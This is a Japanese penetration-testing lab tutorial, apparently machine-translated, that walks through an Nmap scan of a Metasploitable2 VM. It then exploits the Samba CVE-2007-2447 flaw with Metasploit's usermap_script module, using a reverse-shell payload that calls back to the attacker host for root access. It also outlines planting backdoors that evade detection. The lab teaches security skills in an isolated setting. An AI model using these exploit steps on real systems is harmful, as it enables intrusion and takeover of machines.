はじめに
この実験では、ペネトレーションテストの基本的なプロセスについて学び、Kali Linux を使用して実践的な攻撃を行います。目的は、既知の Samba の脆弱性を悪用して、脆弱なターゲットシステムにリモートシェルアクセスを取得することです。この実験は、実際のペネトレーションテストシナリオに含まれる手順を理解し、Nmap や Metasploit などの人気のセキュリティツールを使用する練習をする機会を提供します。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
この実験では、ペネトレーションテストの基本的なプロセスについて学び、Kali Linux を使用して実践的な攻撃を行います。目的は、既知の Samba の脆弱性を悪用して、脆弱なターゲットシステムにリモートシェルアクセスを取得することです。この実験は、実際のペネトレーションテストシナリオに含まれる手順を理解し、Nmap や Metasploit などの人気のセキュリティツールを使用する練習をする機会を提供します。
ペネトレーションテストは通常、以下の手順で構成されます。
情報収集:ターゲットシステムに関するできるだけ多くの情報を収集します。これには、ネットワーク情報、ウェブサイトの内容、ディレクトリ構造、潜在的なユーザー名、開放されているポート、サービス、ドメイン名、サブドメインなどが含まれます。この目的のために様々なツールを使用できます。
脆弱性スキャン:スキャンツールを使用して、ターゲットシステムの包括的なスキャンを行い、脆弱性を特定します。自動化されたスキャンツールが利用可能ですし、特定のサービスを対象とした手動のスキャンツールも使用できます。
悪用:悪用可能な脆弱性が特定されたら、適切なツールと技術を使用して、ターゲットシステムでより高いレベルのアクセスまたは特権を取得します。これには、リモートコード実行、インジェクション攻撃、またはその他の方法が含まれる場合があります。
アクセス維持:ターゲットシステムにバックドアまたは永続的なアクセス機構を作成し、検出を回避しながら将来のアクセスを容易にします。
レポート作成:調査結果を分析し、発見された脆弱性とペネトレーションテストプロセス中に取られた手順を詳細に記載したレポートを作成します。このレポートは、ターゲット組織がシステムを効果的に保護するのに役立ちます。
要するに、ペネトレーションテストに関与する基本的な手順を理解したので、理論を実践に移す時です。実践的な演習を通じて、学んだ知識とスキルを適用し、ペネトレーションテストの分野で実践的な経験を積むことができます。
まず、ペネトレーションテストのシナリオを練習するための実験環境をセットアップする必要があります。
実験環境は 2 つのシステムで構成されています。
Kali Linux コンテナ (攻撃者マシン): これは Kali Linux を実行する Docker コンテナで、攻撃を実行するために使用されます。
Metasploitable2 仮想マシン (ターゲットマシン): これは脆弱な Ubuntu サーバーで、ターゲットシステムとして機能します。
環境をセットアップするには、以下の手順に従ってください。
sudo virsh start Metasploitable2
ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。
ping 192.168.122.102
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
これで、攻撃者マシンとターゲットマシンが両方とも動作し、アクセス可能になっているはずです。ペネトレーションテストプロセスを開始する準備ができました。
このステップでは、Kali Linux の Nmap ツールを使用して、ターゲットシステムの開放されているポートとサービスをスキャンします。
/tmp/report.txt
に保存します。完了するまで数分かかる場合があります。nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
ここで各フラグの意味は以下の通りです。
-p 1-65535
: すべてのポートをスキャンします。-T4
: タイミングテンプレートを設定します (値が大きいほどスキャンが速くなります)。-A
: OS 検出とバージョン検出を有効にします。-v
: 詳細度を上げます。>/tmp/report.txt
: 出力をファイルにリダイレクトします。スキャンが完了するのを待ちます (数分かかる場合があります)。
cat
を使用して /tmp/report.txt
ファイルを開き、スキャンレポートを分析します。
cat /tmp/report.txt
レポートには、ターゲットシステムで動作している開放されているポート、サービス、およびバージョンがリストされます。
この場合、Metasploitable2 システムで動作しているバージョンの Samba サービスには、既知のリモートコマンド実行脆弱性 (CVE-2007-2447) があります。以下は、Samba USERNAME MAP SCRIPT リモートコマンド実行脆弱性 (CVE-2007-2447) の詳細です。
username map script
構成オプションを処理する方法に存在します。このオプションが有効になっている場合、Samba はユーザー入力を /bin/sh
シェルに渡す前に適切にサニタイズしないため、リモート攻撃者が Samba ユーザーとして任意のコマンドを実行できます。Samba 公式の脆弱性説明は以下の URL で確認できます。http://samba.org/samba/security/CVE-2007-2447.html
この脆弱性を悪用するために使用する Metasploit エクスプロイトモジュールは exploit/multi/samba/usermap_script
です。このモジュールのソースコードとコメントは以下の URL で確認できます。https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb
このステップでは、Metasploit Framework を使用して、Samba USERNAME MAP SCRIPT 脆弱性を悪用し、ターゲットシステムにリモートシェルアクセスを取得します。
cd ~
msfconsole
use exploit/multi/samba/usermap_script
cmd/unix/reverse
に設定します。set payload cmd/unix/reverse
set RHOST 192.168.122.102
set RPORT 445
set LHOST 192.168.122.1
show options
exploit
エクスプロイトが成功すると、ターゲットシステムで root ユーザーとしてリモートシェルセッションが開かれるはずです。
exit
と入力することでシェルを終了し、Kali コンテナに戻ることができます。この実験では、ペネトレーションテストの基本的なプロセスについて学び、実際の攻撃シナリオを実践する経験を積みました。脆弱なターゲットシステムを用いた実験環境をセットアップし、Nmap を使用して脆弱性スキャンを行い、既知の Samba 脆弱性を分析し、Metasploit Framework を使用してそれを悪用してリモートシェルアクセスを取得しました。この実践的な経験は、ペネトレーションテストで使用される技術とツール、およびセキュアなシステム構成と脆弱性管理の重要性をより深く理解するのに役立つでしょう。